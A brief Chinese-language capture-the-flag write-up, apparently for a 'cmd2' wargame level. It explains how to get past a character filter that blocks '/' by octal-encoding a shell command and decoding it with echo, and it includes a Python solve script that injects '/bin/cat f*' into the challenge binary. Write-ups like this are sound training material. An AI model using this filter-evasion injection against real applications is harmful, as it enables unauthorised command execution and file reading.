這題過濾的條件更加嚴格了,增加了對/的過濾,也就是說輸入目錄都會被過濾掉,這樣通過字符拼接繞過過濾就很難了
google了一下其他方法,發現可以把命令通過八進制編碼,然後通過echo 命令輸出
解題腳本:(放在/tmp下執行)
#!/usr/bin/python
import subprocess
cmd = "/bin/cat f*"
encode = ""
for c in cmd:
encode += "\\"+oct(ord(c))
# print encode
args = ["/home/cmd2/cmd2","$(echo \'" + encode + "\')"]
# print args[1]
subprocess.Popen(args)